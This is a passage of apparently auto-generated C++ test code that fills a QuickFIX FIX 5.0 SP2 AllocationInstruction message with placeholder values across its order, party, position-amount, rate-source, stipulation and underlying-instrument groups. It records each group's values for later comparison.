noNested2PartyIDs_0_1_0.addGroup(noNested2PartySubIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_2_2;\n        // NstdPtys2SubGrp.NoNested2PartySubIDs\n        multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_2;\n        set_field(noNested2PartySubIDs_0_0_2_2, FIX::Nested2PartySubID{\"STRING_1288342657\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_2);\n        set_field(noNested2PartySubIDs_0_0_2_2, FIX::Nested2PartySubIDType{2018965306}, NstdPtys2SubGrp_NoNested2PartySubIDs_2);\n        all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_2);\n        all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n        noNested2PartyIDs_0_1_0.addGroup(noNested2PartySubIDs_0_0_2_2);\n      }\n      noOrders_0_0.addGroup(noNested2PartyIDs_0_1_0);\n    }\n    msg.addGroup(noOrders_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoOrders noOrders_0_1;\n    // OrdAllocGrp.NoOrders\n    multiset<string> OrdAllocGrp_NoOrders_1;\n    set_field(noOrders_0_1, FIX::ClOrdID{\"STRING_981898666\"}, OrdAllocGrp_NoOrders_1);\n    set_field(noOrders_0_1, FIX::ListID{\"STRING_714910810\"}, OrdAllocGrp_NoOrders_1);\n    FIX::OrderAvgPx OrderAvgPx_1;\n    OrderAvgPx_1.setString(\"17767893\");\nset_field(noOrders_0_1, OrderAvgPx_1, OrdAllocGrp_NoOrders_1);\n    FIX::OrderBookingQty OrderBookingQty_1;\n    OrderBookingQty_1.setString(\"10500810\");\nset_field(noOrders_0_1, OrderBookingQty_1, OrdAllocGrp_NoOrders_1);\n    set_field(noOrders_0_1, FIX::OrderID{\"STRING_706641367\"}, OrdAllocGrp_NoOrders_1);\n    FIX::OrderQty OrderQty_1;\n    OrderQty_1.setString(\"16741885\");\nset_field(noOrders_0_1, OrderQty_1, OrdAllocGrp_NoOrders_1);\n    set_field(noOrders_0_1, FIX::SecondaryClOrdID{\"STRING_704883998\"}, OrdAllocGrp_NoOrders_1);\n    set_field(noOrders_0_1, FIX::SecondaryOrderID{\"STRING_1866749307\"}, OrdAllocGrp_NoOrders_1);\n    all_values.push_back(OrdAllocGrp_NoOrders_1);\n    all_compo_names.insert(\"...NoOrders\");\n\n    // NestedParties2\n    // Group NestedParties2.NoNested2PartyIDs\n    {\n      FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs noNested2PartyIDs_1_1_0;\n      // NestedParties2.NoNested2PartyIDs\n      multiset<string> NestedParties2_NoNested2PartyIDs_1;\n      set_field(noNested2PartyIDs_1_1_0, FIX::Nested2PartyID{\"STRING_1984007590\"}, NestedParties2_NoNested2PartyIDs_1);\n      set_field(noNested2PartyIDs_1_1_0, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_1);\n      set_field(noNested2PartyIDs_1_1_0, FIX::Nested2PartyRole{237157374}, NestedParties2_NoNested2PartyIDs_1);\n      all_values.push_back(NestedParties2_NoNested2PartyIDs_1);\n      all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs\");\n\n      // NstdPtys2SubGrp\n      // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_2_0;\n        // NstdPtys2SubGrp.NoNested2PartySubIDs\n        multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_3;\n        set_field(noNested2PartySubIDs_1_0_2_0, FIX::Nested2PartySubID{\"STRING_517060033\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_3);\n        set_field(noNested2PartySubIDs_1_0_2_0, FIX::Nested2PartySubIDType{586404443}, NstdPtys2SubGrp_NoNested2PartySubIDs_3);\n        all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_3);\n        all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n        noNested2PartyIDs_1_1_0.addGroup(noNested2PartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_2_1;\n        // NstdPtys2SubGrp.NoNested2PartySubIDs\n        multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_4;\n        set_field(noNested2PartySubIDs_1_0_2_1, FIX::Nested2PartySubID{\"STRING_1231701284\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_4);\n        set_field(noNested2PartySubIDs_1_0_2_1, FIX::Nested2PartySubIDType{1755001117}, NstdPtys2SubGrp_NoNested2PartySubIDs_4);\n        all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_4);\n        all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n        noNested2PartyIDs_1_1_0.addGroup(noNested2PartySubIDs_1_0_2_1);\n      }\n      noOrders_0_1.addGroup(noNested2PartyIDs_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs noNested2PartyIDs_1_1_1;\n      // NestedParties2.NoNested2PartyIDs\n      multiset<string> NestedParties2_NoNested2PartyIDs_2;\n      set_field(noNested2PartyIDs_1_1_1, FIX::Nested2PartyID{\"STRING_66888849\"}, NestedParties2_NoNested2PartyIDs_2);\n      set_field(noNested2PartyIDs_1_1_1, FIX::Nested2PartyIDSource{'7'}, NestedParties2_NoNested2PartyIDs_2);\n      set_field(noNested2PartyIDs_1_1_1, FIX::Nested2PartyRole{1267990964}, NestedParties2_NoNested2PartyIDs_2);\n      all_values.push_back(NestedParties2_NoNested2PartyIDs_2);\n      all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs\");\n\n      // NstdPtys2SubGrp\n      // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_2_0;\n        // NstdPtys2SubGrp.NoNested2PartySubIDs\n        multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_5;\n        set_field(noNested2PartySubIDs_1_1_2_0, FIX::Nested2PartySubID{\"STRING_1036584555\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_5);\n        set_field(noNested2PartySubIDs_1_1_2_0, FIX::Nested2PartySubIDType{51825132}, NstdPtys2SubGrp_NoNested2PartySubIDs_5);\n        all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_5);\n        all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n        noNested2PartyIDs_1_1_1.addGroup(noNested2PartySubIDs_1_1_2_0);\n      }\n      noOrders_0_1.addGroup(noNested2PartyIDs_1_1_1);\n    }\n    msg.addGroup(noOrders_0_1);\n  }\n  // Parties\n  // Group Parties.NoPartyIDs\n  {\n    FIX50SP2::AllocationInstruction::NoPartyIDs noPartyIDs_0_0;\n    // Parties.NoPartyIDs\n    multiset<string> Parties_NoPartyIDs_2;\n    set_field(noPartyIDs_0_0, FIX::PartyID{\"STRING_801486138\"}, Parties_NoPartyIDs_2);\n    set_field(noPartyIDs_0_0, FIX::PartyIDSource{'9'}, Parties_NoPartyIDs_2);\n    set_field(noPartyIDs_0_0, FIX::PartyRole{21}, Parties_NoPartyIDs_2);\n    all_values.push_back(Parties_NoPartyIDs_2);\n    all_compo_names.insert(\"...NoPartyIDs\");\n\n    // PtysSubGrp\n    // Group PtysSubGrp.NoPartySubIDs\n    {\n      FIX50SP2::AllocationInstruction::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_0;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_6;\n      set_field(noPartySubIDs_0_1_0, FIX::PartySubID{\"STRING_13934742\"}, PtysSubGrp_NoPartySubIDs_6);\n      set_field(noPartySubIDs_0_1_0, FIX::PartySubIDType{23}, PtysSubGrp_NoPartySubIDs_6);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_6);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_0.addGroup(noPartySubIDs_0_1_0);\n    }\n    msg.addGroup(noPartyIDs_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoPartyIDs noPartyIDs_0_1;\n    // Parties.NoPartyIDs\n    multiset<string> Parties_NoPartyIDs_3;\n    set_field(noPartyIDs_0_1, FIX::PartyID{\"STRING_1537286735\"}, Parties_NoPartyIDs_3);\n    set_field(noPartyIDs_0_1, FIX::PartyIDSource{'1'}, Parties_NoPartyIDs_3);\n    set_field(noPartyIDs_0_1, FIX::PartyRole{26}, Parties_NoPartyIDs_3);\n    all_values.push_back(Parties_NoPartyIDs_3);\n    all_compo_names.insert(\"...NoPartyIDs\");\n\n    // PtysSubGrp\n    // Group PtysSubGrp.NoPartySubIDs\n    {\n      FIX50SP2::AllocationInstruction::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_1_0;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_7;\n      set_field(noPartySubIDs_1_1_0, FIX::PartySubID{\"STRING_2045914503\"}, PtysSubGrp_NoPartySubIDs_7);\n      set_field(noPartySubIDs_1_1_0, FIX::PartySubIDType{14}, PtysSubGrp_NoPartySubIDs_7);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_7);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_1.addGroup(noPartySubIDs_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_1_1;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_8;\n      set_field(noPartySubIDs_1_1_1, FIX::PartySubID{\"STRING_693297283\"}, PtysSubGrp_NoPartySubIDs_8);\n      set_field(noPartySubIDs_1_1_1, FIX::PartySubIDType{10}, PtysSubGrp_NoPartySubIDs_8);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_8);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_1.addGroup(noPartySubIDs_1_1_1);\n    }\n    msg.addGroup(noPartyIDs_0_1);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoPartyIDs noPartyIDs_0_2;\n    // Parties.NoPartyIDs\n    multiset<string> Parties_NoPartyIDs_4;\n    set_field(noPartyIDs_0_2, FIX::PartyID{\"STRING_1370203466\"}, Parties_NoPartyIDs_4);\n    set_field(noPartyIDs_0_2, FIX::PartyIDSource{'B'}, Parties_NoPartyIDs_4);\n    set_field(noPartyIDs_0_2, FIX::PartyRole{12}, Parties_NoPartyIDs_4);\n    all_values.push_back(Parties_NoPartyIDs_4);\n    all_compo_names.insert(\"...NoPartyIDs\");\n\n    // PtysSubGrp\n    // Group PtysSubGrp.NoPartySubIDs\n    {\n      FIX50SP2::AllocationInstruction::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_1_0;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_9;\n      set_field(noPartySubIDs_2_1_0, FIX::PartySubID{\"STRING_1397981580\"}, PtysSubGrp_NoPartySubIDs_9);\n      set_field(noPartySubIDs_2_1_0, FIX::PartySubIDType{19}, PtysSubGrp_NoPartySubIDs_9);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_9);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_2.addGroup(noPartySubIDs_2_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_1_1;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_10;\n      set_field(noPartySubIDs_2_1_1, FIX::PartySubID{\"STRING_967260324\"}, PtysSubGrp_NoPartySubIDs_10);\n      set_field(noPartySubIDs_2_1_1, FIX::PartySubIDType{27}, PtysSubGrp_NoPartySubIDs_10);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_10);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_2.addGroup(noPartySubIDs_2_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_1_2;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_11;\n      set_field(noPartySubIDs_2_1_2, FIX::PartySubID{\"STRING_570279792\"}, PtysSubGrp_NoPartySubIDs_11);\n      set_field(noPartySubIDs_2_1_2, FIX::PartySubIDType{31}, PtysSubGrp_NoPartySubIDs_11);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_11);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_2.addGroup(noPartySubIDs_2_1_2);\n    }\n    msg.addGroup(noPartyIDs_0_2);\n  }\n  // PositionAmountData\n  // Group PositionAmountData.NoPosAmt\n  {\n    FIX50SP2::AllocationInstruction::NoPosAmt noPosAmt_0_0;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_0;\n    FIX::PosAmt PosAmt_0;\n    PosAmt_0.setString(\"13076723\");\nset_field(noPosAmt_0_0, PosAmt_0, PositionAmountData_NoPosAmt_0);\n    set_field(noPosAmt_0_0, FIX::PosAmtType{\"STRING_FMTM\"}, PositionAmountData_NoPosAmt_0);\n    set_field(noPosAmt_0_0, FIX::PositionCurrency{\"STRING_258876450\"}, PositionAmountData_NoPosAmt_0);\n    all_values.push_back(PositionAmountData_NoPosAmt_0);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoPosAmt noPosAmt_0_1;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_1;\n    FIX::PosAmt PosAmt_1;\n    PosAmt_1.setString(\"1967732\");\nset_field(noPosAmt_0_1, PosAmt_1, PositionAmountData_NoPosAmt_1);\n    set_field(noPosAmt_0_1, FIX::PosAmtType{\"STRING_IMTM\"}, PositionAmountData_NoPosAmt_1);\n    set_field(noPosAmt_0_1, FIX::PositionCurrency{\"STRING_1674518090\"}, PositionAmountData_NoPosAmt_1);\n    all_values.push_back(PositionAmountData_NoPosAmt_1);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_1);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoPosAmt noPosAmt_0_2;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_2;\n    FIX::PosAmt PosAmt_2;\n    PosAmt_2.setString(\"9982593\");\nset_field(noPosAmt_0_2, PosAmt_2, PositionAmountData_NoPosAmt_2);\n    set_field(noPosAmt_0_2, FIX::PosAmtType{\"STRING_PREM\"}, PositionAmountData_NoPosAmt_2);\n    set_field(noPosAmt_0_2, FIX::PositionCurrency{\"STRING_615561063\"}, PositionAmountData_NoPosAmt_2);\n    all_values.push_back(PositionAmountData_NoPosAmt_2);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_2);\n  }\n  // RateSource\n  // Group RateSource.NoRateSources\n  {\n    FIX50SP2::AllocationInstruction::NoRateSources noRateSources_0_0;\n    // RateSource.NoRateSources\n    multiset<string> RateSource_NoRateSources_0;\n    set_field(noRateSources_0_0, FIX::RateSource{99}, RateSource_NoRateSources_0);\n    set_field(noRateSources_0_0, FIX::RateSourceType{0}, RateSource_NoRateSources_0);\n    set_field(noRateSources_0_0, FIX::ReferencePage{\"STRING_2053867548\"}, RateSource_NoRateSources_0);\n    all_values.push_back(RateSource_NoRateSources_0);\n    all_compo_names.insert(\"...NoRateSources\");\n\n    msg.addGroup(noRateSources_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoRateSources noRateSources_0_1;\n    // RateSource.NoRateSources\n    multiset<string> RateSource_NoRateSources_1;\n    set_field(noRateSources_0_1, FIX::RateSource{0}, RateSource_NoRateSources_1);\n    set_field(noRateSources_0_1, FIX::RateSourceType{0}, RateSource_NoRateSources_1);\n    set_field(noRateSources_0_1, FIX::ReferencePage{\"STRING_1072976330\"}, RateSource_NoRateSources_1);\n    all_values.push_back(RateSource_NoRateSources_1);\n    all_compo_names.insert(\"...NoRateSources\");\n\n    msg.addGroup(noRateSources_0_1);\n  }\n  // SpreadOrBenchmarkCurveData\n  multiset<string> SpreadOrBenchmarkCurveData_0;\n  set_field(msg, FIX::BenchmarkCurveCurrency{\"CHF\"}, SpreadOrBenchmarkCurveData_0);\n  set_field(msg, FIX::BenchmarkCurveName{\"STRING_SONIA\"}, SpreadOrBenchmarkCurveData_0);\n  set_field(msg, FIX::BenchmarkCurvePoint{\"STRING_845790756\"}, SpreadOrBenchmarkCurveData_0);\n  FIX::BenchmarkPrice BenchmarkPrice_0;\n  BenchmarkPrice_0.setString(\"5154171\");\nset_field(msg, BenchmarkPrice_0, SpreadOrBenchmarkCurveData_0);\n  set_field(msg, FIX::BenchmarkPriceType{779614171}, SpreadOrBenchmarkCurveData_0);\n  set_field(msg, FIX::BenchmarkSecurityID{\"STRING_1285629551\"}, SpreadOrBenchmarkCurveData_0);\n  set_field(msg, FIX::BenchmarkSecurityIDSource{\"STRING_965617401\"}, SpreadOrBenchmarkCurveData_0);\n  FIX::Spread Spread_0;\n  Spread_0.setString(\"301121\");\nset_field(msg, Spread_0, SpreadOrBenchmarkCurveData_0);\n  all_values.push_back(SpreadOrBenchmarkCurveData_0);\n  all_compo_names.insert(\".\");\n\n  // Stipulations\n  // Group Stipulations.NoStipulations\n  {\n    FIX50SP2::AllocationInstruction::NoStipulations noStipulations_0_0;\n    // Stipulations.NoStipulations\n    multiset<string> Stipulations_NoStipulations_0;\n    set_field(noStipulations_0_0, FIX::StipulationType{\"STRING_WAL\"}, Stipulations_NoStipulations_0);\n    set_field(noStipulations_0_0, FIX::StipulationValue{\"STRING_2014498126\"}, Stipulations_NoStipulations_0);\n    all_values.push_back(Stipulations_NoStipulations_0);\n    all_compo_names.insert(\"...NoStipulations\");\n\n    msg.addGroup(noStipulations_0_0);\n  }\n  // UndInstrmtGrp\n  // Group UndInstrmtGrp.NoUnderlyings\n  {\n    FIX50SP2::AllocationInstruction::NoUnderlyings noUnderlyings_0_0;\n    // UndInstrmtGrp.NoUnderlyings\n    // UnderlyingInstrument\n    multiset<string> UnderlyingInstrument_2;\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuer{\"DATA_360171871\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuerLen{1918289351}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDesc{\"DATA_354676542\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDescLen{55456982}, UnderlyingInstrument_2);\n    FIX::UnderlyingAdjustedQuantity UnderlyingAdjustedQuantity_2;\n    UnderlyingAdjustedQuantity_2.setString(\"296821\");\nset_field(noUnderlyings_0_0, UnderlyingAdjustedQuantity_2, UnderlyingInstrument_2);\n    FIX::UnderlyingAllocationPercent UnderlyingAllocationPercent_2;\n    UnderlyingAllocationPercent_2.setString(\"97.880000\");\nset_field(noUnderlyings_0_0, UnderlyingAllocationPercent_2, UnderlyingInstrument_2);\n    FIX::UnderlyingAttachmentPoint UnderlyingAttachmentPoint_2;\n    UnderlyingAttachmentPoint_2.setString(\"8.730000\");\nset_field(noUnderlyings_0_0, UnderlyingAttachmentPoint_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCFICode{\"STRING_1704200244\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPProgram{\"STRING_1549709172\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPRegType{\"STRING_1284327769\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingCapValue UnderlyingCapValue_2;\n    UnderlyingCapValue_2.setString(\"1722776\");\nset_field(noUnderlyings_0_0, UnderlyingCapValue_2, UnderlyingInstrument_2);\n    FIX::UnderlyingCashAmount UnderlyingCashAmount_2;\n    UnderlyingCashAmount_2.setString(\"20662899\");\nset_field(noUnderlyings_0_0, UnderlyingCashAmount_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCashType{\"STRING_FIXED\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingContractMultiplier UnderlyingContractMultiplier_2;\n    UnderlyingContractMultiplier_2.setString(\"10172243\");\nset_field(noUnderlyings_0_0, UnderlyingContractMultiplier_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingContractMultiplierUnit{1972673885}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCountryOfIssue{\"COUNTRY_976584456\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCouponPaymentDate{\"LOCALMKTDATE_658983836\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingCouponRate UnderlyingCouponRate_2;\n    UnderlyingCouponRate_2.setString(\"65.670000\");\nset_field(noUnderlyings_0_0, UnderlyingCouponRate_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCreditRating{\"STRING_1219060359\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCurrency{\"USD\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingCurrentValue UnderlyingCurrentValue_2;\n    UnderlyingCurrentValue_2.setString(\"20648511\");\nset_field(noUnderlyings_0_0, UnderlyingCurrentValue_2, UnderlyingInstrument_2);\n    FIX::UnderlyingDetachmentPoint UnderlyingDetachmentPoint_2;\n    UnderlyingDetachmentPoint_2.setString(\"45.890000\");\nset_field(noUnderlyings_0_0, UnderlyingDetachmentPoint_2, UnderlyingInstrument_2);\n    FIX::UnderlyingDirtyPrice UnderlyingDirtyPrice_2;\n    UnderlyingDirtyPrice_2.setString(\"12965707\");\nset_field(noUnderlyings_0_0, UnderlyingDirtyPrice_2, UnderlyingInstrument_2);\n    FIX::UnderlyingEndPrice UnderlyingEndPrice_2;\n    UnderlyingEndPrice_2.setString(\"12029970\");\nset_field(noUnderlyings_0_0, UnderlyingEndPrice_2, UnderlyingInstrument_2);\n    FIX::UnderlyingEndValue UnderlyingEndValue_2;\n    UnderlyingEndValue_2.setString(\"12852319\");\nset_field(noUnderlyings_0_0, UnderlyingEndValue_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingExerciseStyle{1326682806}, UnderlyingInstrument_2);\n    FIX::UnderlyingFXRate UnderlyingFXRate_2;\n    UnderlyingFXRate_2.setString(\"18272050\");\nset_field(noUnderlyings_0_0, UnderlyingFXRate_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFXRateCalc{'D'}, UnderlyingInstrument_2);\n    FIX::UnderlyingFactor UnderlyingFactor_2;\n    UnderlyingFactor_2.setString(\"11936972\");\nset_field(noUnderlyings_0_0, UnderlyingFactor_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFlowScheduleType{874209282}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingInstrRegistry{\"STRING_1430797939\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssueDate{\"LOCALMKTDATE_964502988\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssuer{\"STRING_1228885824\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingLocaleOfIssue{\"STRING_1486254921\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityDate{\"LOCALMKTDATE_994185141\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityMonthYear{\"MONTHYEAR_1780335612\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityTime{\"TZTIMEONLY_1288822146\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingNotionalPercentageOutstanding UnderlyingNotionalPercentageOutstanding_2;\n    UnderlyingNotionalPercentageOutstanding_2.setString(\"17.370000\");\nset_field(noUnderlyings_0_0, UnderlyingNotionalPercentageOutstanding_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingOptAttribute{'1'}, UnderlyingInstrument_2);\n    FIX::UnderlyingOriginalNotionalPercentageOutstanding UnderlyingOriginalNotionalPercentageOutstanding_2;\n    UnderlyingOriginalNotionalPercentageOutstanding_2.setString(\"62.680000\");\nset_field(noUnderlyings_0_0, UnderlyingOriginalNotionalPercentageOutstanding_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPriceUnitOfMeasure{\"STRING_723179396\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingPriceUnitOfMeasureQty UnderlyingPriceUnitOfMeasureQty_2;\n    UnderlyingPriceUnitOfMeasureQty_2.setString(\"11013674\");\nset_field(noUnderlyings_0_0, UnderlyingPriceUnitOfMeasureQty_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingProduct{1058205676}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPutOrCall{1740403748}, UnderlyingInstrument_2);\n    FIX::UnderlyingPx UnderlyingPx_2;\n    UnderlyingPx_2.setString(\"9265577\");\nset_field(noUnderlyings_0_0, UnderlyingPx_2, UnderlyingInstrument_2);\n    FIX::UnderlyingQty UnderlyingQty_2;\n    UnderlyingQty_2.setString(\"20347901\");\nset_field(noUnderlyings_0_0, UnderlyingQty_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRedemptionDate{\"LOCALMKTDATE_251903936\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepoCollateralSecurityType{\"STRING_1824724277\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingRepurchaseRate UnderlyingRepurchaseRate_2;\n    UnderlyingRepurchaseRate_2.setString(\"68.440000\");\nset_field(noUnderlyings_0_0, UnderlyingRepurchaseRate_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepurchaseTerm{56101415}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRestructuringType{\"STRING_194197162\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityDesc{\"STRING_1023734312\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityExchange{\"EXCHANGE_375716005\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityID{\"STRING_1490767865\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityIDSource{\"STRING_79247682\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecuritySubType{\"STRING_1660947995\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityType{\"STRING_669967024\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSeniority{\"STRING_1906452760\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlMethod{\"STRING_584090415\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlementType{4}, UnderlyingInstrument_2);\n    FIX::UnderlyingStartValue UnderlyingStartValue_2;\n    UnderlyingStartValue_2.setString(\"6331783\");\nset_field(noUnderlyings_0_0, UnderlyingStartValue_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStateOrProvinceOfIssue{\"STRING_2014888355\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStrikeCurrency{\"CHF\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingStrikePrice UnderlyingStrikePrice_2;\n    UnderlyingStrikePrice_2.setString(\"13536596\");\nset_field(noUnderlyings_0_0, UnderlyingStrikePrice_2, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbol{\"STRING_1674868790\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbolSfx{\"STRING_1494916183\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingTimeUnit{\"STRING_494998127\"}, UnderlyingInstrument_2);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingUnitOfMeasure{\"STRING_78286880\"}, UnderlyingInstrument_2);\n    FIX::UnderlyingUnitOfMeasureQty UnderlyingUnitOfMeasureQty_2;\n    UnderlyingUnitOfMeasureQty_2.setString(\"5299936\");\nset_field(noUnderlyings_0_0, UnderlyingUnitOfMeasureQty_2, UnderlyingInstrument_2);\n    all_values.push_back(UnderlyingInstrument_2);\n    